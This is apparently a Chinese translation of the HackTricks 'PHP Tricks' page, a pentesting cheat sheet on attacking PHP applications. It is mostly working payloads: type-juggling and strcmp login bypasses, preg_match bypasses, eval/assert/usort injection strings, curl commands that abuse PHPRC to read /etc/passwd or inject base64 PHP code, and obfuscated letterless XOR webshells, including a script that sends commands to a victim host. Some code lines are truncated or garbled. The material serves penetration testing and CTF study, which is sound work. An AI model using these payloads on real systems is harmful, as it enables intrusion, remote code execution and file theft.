PHP Tricks

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

Cookies 常见位置:

这也适用于 phpMyAdmin 的 cookies。

Cookies:

PHPSESSID
phpMyAdmin

位置:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

绕过 PHP 比较

弱比较/类型转换(==)

如果在 PHP 中使用 ==,则存在意外情况,比较的行为不如预期。这是因为 "==" 仅比较转换为相同类型的值,如果您还想比较所比较数据的类型是否相同,您需要使用 ===

PHP 比较表格:https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True 以非数字开头的字符串等于数字

  • "0xAAAA" == "43690" -> True 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同,则结果为 True(字符串中的数字被解释为数字)

  • "0e3264578" == 0 --> True 以 "0e" 开头,后跟任何内容的字符串将等于 0

  • "0X3264578" == 0X --> True 以 "0" 开头,后跟任何字母(X 可以是任何字母),后跟任何内容的字符串将等于 0

  • "0e12334" == "0" --> True 这非常有趣,因为在某些情况下,您可以控制输入的字符串为 "0",以及正在被散列并与之进行比较的某些内容。因此,如果您可以提供一个将创建以 "0e" 开头且没有任何字母的哈希的值,您可以绕过比较。您可以在此处找到具有此格式的已散列字符串https://github.com/spaze/hashes

  • "X" == 0 --> True 字符串中的任何字母等于整数 0

更多信息请参阅 https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

类型转换 也会影响到 in_array() 函数,默认情况下(需要将第三个参数设置为 true 才能进行严格比较):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

如果此函数用于任何身份验证检查(比如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是一个字符串作为密码的值(https://example.com/login.php/?username=admin&password[]=),从而绕过此检查:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

严格类型转换

即使使用 ===,仍可能出现错误,使比较容易受到类型转换的影响。例如,如果比较在比较之前将数据转换为不同类型的对象:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() 可用于验证用户输入(它检查用户输入中是否存在黑名单中的任何单词/正则表达式,如果没有,则代码可以继续执行)。

换行符绕过

然而,当限定正则表达式的开头时,preg_match() 只检查用户输入的第一行,如果你可以以多行的方式发送输入,你就可以绕过这个检查。例如:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

要绕过此检查,您可以使用新行进行url编码%0A)发送值,或者如果可以发送JSON数据,请将其分成多行发送:

{
"cmd": "cat /etc/passwd"
}

找到一个示例:https://ramadistra.dev/fbctf-2019-rceservice

长度错误绕过

(这个绕过似乎在 PHP 5.2.5 上尝试过,但我无法在 PHP 7.3.15 上使其工作) 如果你可以向 preg_match() 发送一个非常大的有效输入,它将无法处理它,你就可以绕过检查。例如,如果它在黑名单中列出了一个 JSON,你可以发送:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

ReDoS绕过

技巧来源:https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223https://mizu.re/post/pong

简而言之,问题发生在PHP中的preg_*函数上,它建立在PCRE库的基础上。在PCRE中,某些正则表达式是通过大量递归调用来匹配的,这会使用大量堆栈空间。可以设置允许的递归次数上限,但在PHP中,此限制默认为100,000,这超出了堆栈的容量。

这个Stackoverflow主题也在帖子中链接,其中更深入地讨论了这个问题。我们的任务现在很明确: 发送一个输入,使正则表达式执行100,000次以上的递归,导致SIGSEGV,使preg_match()函数返回false,从而使应用程序认为我们的输入不是恶意的,最后在有效载荷的结尾处抛出类似{system(<verybadcommand>)} 的内容,以获取SSTI --> RCE --> flag :)

在正则表达式术语中,我们实际上并没有执行10万次“递归”,而是在计算“回溯步骤”,正如PHP文档所述,默认情况下,在pcre.backtrack_limit变量中默认为1,000,000(1M)。 要达到这个目标,'X'*500_001将导致100万个回溯步骤(50万个向前和50万个向后)。

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

用于 PHP 混淆的类型转换

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

执行重定向后 (EAR)

如果 PHP 正在重定向到另一个页面,但在设置了头部 Location 后没有调用 dieexit 函数,PHP 将继续执行并将数据附加到主体:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

路径遍历和文件包含利用

检查:

pageFile Inclusion/Path traversal

更多技巧

  • register_globals: 在 PHP < 4.1.1.1 或者配置错误的情况下,register_globals 可能会被激活(或者它们的行为被模仿)。这意味着在全局变量中,比如 $_GET 如果它们有一个值,比如 $_GET["param"]="1234",你可以通过 $param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量

  • PHPSESSION cookies of the same domain are stored in the same place,因此如果在一个域中不同路径中使用不同的 cookies,你可以使一个路径访问另一个路径的 cookie,设置另一个路径 cookie 的值。这样,如果两个路径访问具有相同名称的变量,你可以使路径1 中该变量的值应用于路径2。然后路径2 将接受路径1 的变量为有效(通过给 cookie 赋予在路径2 中对应的名称)。

  • 当你有机器用户的用户名时,请检查地址: /~<USERNAME> 看看是否激活了 php 目录。

password_hash/password_verify

这些函数通常用于 PHP 中从密码生成哈希,以及检查密码是否与哈希匹配。 支持的算法有:PASSWORD_DEFAULTPASSWORD_BCRYPT(以 $2y$ 开头)。请注意,PASSWORD_DEFAULT 经常与 PASSWORD_BCRYPT 相同。目前,PASSWORD_BCRYPT 在输入上有一个大小限制为 72 字节。因此,当你尝试使用此算法对大于 72 字节的内容进行哈希时,只有前 72 字节会被使用:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP 头绕过滥用 PHP 错误

如果一个 PHP 页面正在打印错误并回显用户提供的一些输入,用户可以使 PHP 服务器打印回一些 足够长的内容,以便当它尝试 将头部添加到响应 时,服务器会抛出错误。 在以下场景中,攻击者让服务器抛出一些大错误,正如您在屏幕上看到的,当 PHP 尝试 修改头部信息时,它无法(例如 CSP 头部未发送给用户):

代码执行

system("ls"); `ls`; shell_exec("ls");

查看此处以获取更多有用的 PHP 函数

通过 preg_replace() 实现 RCE

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

要执行“replace”参数中的代码,至少需要一个匹配项。 这个preg_replace选项在PHP 5.5.0中已经被弃用

通过Eval()实现RCE

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

通过 Assert() 实现远程代码执行(RCE)

这个 php 中的函数允许您执行以字符串形式编写的代码,以便返回 true 或 false(并根据此更改执行)。通常用户变量将被插入到字符串的中间。例如: assert("strpos($_GET['page']),'..') === false") --> 在这种情况下,要获得RCE,您可以执行:

?page=a','NeVeR') === false and system('ls') and strpos('a

您需要破坏代码语法添加您的有效负载,然后再修复它。您可以使用逻辑运算,如"and"或"%26%26"或"|"。请注意,"or","||"不起作用,因为如果第一个条件为真,我们的有效负载将不会被执行。同样,";"不起作用,因为我们的有效负载不会被执行。

另一种选择是将命令执行添加到字符串中:'.highlight_file('.passwd').'

另一种选择(如果您有内部代码)是修改某些变量以更改执行方式:$file = "hola"

通过usort()实现远程代码执行(RCE)

此函数用于使用特定函数对项目数组进行排序。 要滥用此函数:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

使用 // 进行代码注释。

要发现需要关闭的括号数量:

  • ?order=id;}//:我们收到一个错误消息(Parse error: syntax error, unexpected ';')。我们可能缺少一个或多个括号。

  • ?order=id);}//:我们收到一个警告。看起来差不多。

  • ?order=id));}//:我们收到一个错误消息(Parse error: syntax error, unexpected ')' i)。我们可能有太多的闭合括号。

通过 .httaccess 实现 RCE

如果你可以上传一个 .htaccess 文件,那么你可以配置几个东西,甚至执行代码(配置扩展名为 .htaccess 的文件可以执行)。

可以在这里找到不同的 .htaccess shells。

通过环境变量实现 RCE

如果你发现一个允许你修改 PHP 环境变量的漏洞(还有另一个允许上传文件的漏洞,尽管通过更多研究可能可以绕过),你可以滥用这种行为来实现RCE

  • LD_PRELOAD:这个环境变量允许你在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。

  • PHPRC:指示 PHP 查找其配置文件的位置,通常称为 php.ini。如果你可以上传自己的配置文件,那么使用 PHPRC 来指向它。添加一个**auto_prepend_file条目,指定第二个上传的文件。这第二个文件包含正常的PHP代码,然后由 PHP 运行时执行**,在任何其他代码之前。

  1. 上传一个包含我们的 shellcode 的 PHP 文件

  2. 上传第二个文件,其中包含一个**auto_prepend_file**指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件

  3. PHPRC 变量设置为我们在步骤 2 中上传的文件。

  • 获取有关如何执行此链的更多信息来自原始报告

  • PHPRC - 另一个选项

  • 如果你无法上传文件,你可以在 FreeBSD 中使用名为“file”的文件 /dev/fd/0,其中包含**stdin,即发送到 stdin 的请求的主体**:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • 或者要获得 RCE,请启用**allow_url_include并在一个文件中添加base64 PHP代码**:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

PHP 静态分析

查看是否可以在对这些函数的调用中插入代码(来自这里):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

如果您正在调试PHP应用程序,可以在/etc/php5/apache2/php.ini中添加display_errors = On来全局启用错误打印,并重新启动apache:sudo systemctl restart apache2

解密PHP代码

您可以使用网站www.unphp.net来解密PHP代码。

PHP包装器和协议

PHP包装器和协议可以让您绕过系统中的写入和读取保护,并对其进行破坏。有关更多信息,请查看此页面

Xdebug未经身份验证的RCE

如果您发现phpconfig()输出中启用了Xdebug,则应尝试通过https://github.com/nqxcode/xdebug-exploit获取RCE。

变量变量

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

利用新的 $_GET["a"]($_GET["b"])

如果在一个页面中可以创建任意类的新对象,则可能能够获得RCE,请查看以下页面以了解详情:

pagePHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

执行 PHP 无需字母

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

使用八进制

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

异或

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

异或简单 shell 代码

根据这篇解析,可以通过以下方式生成一个简单的 shellcode:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

所以,如果您可以执行任意PHP代码而不使用数字和字母,您可以发送类似以下滥用该有效负载以执行任意PHP代码的请求:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

要获取更详细的解释,请查看https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode(在eval内部)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl 类似

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

最后更新于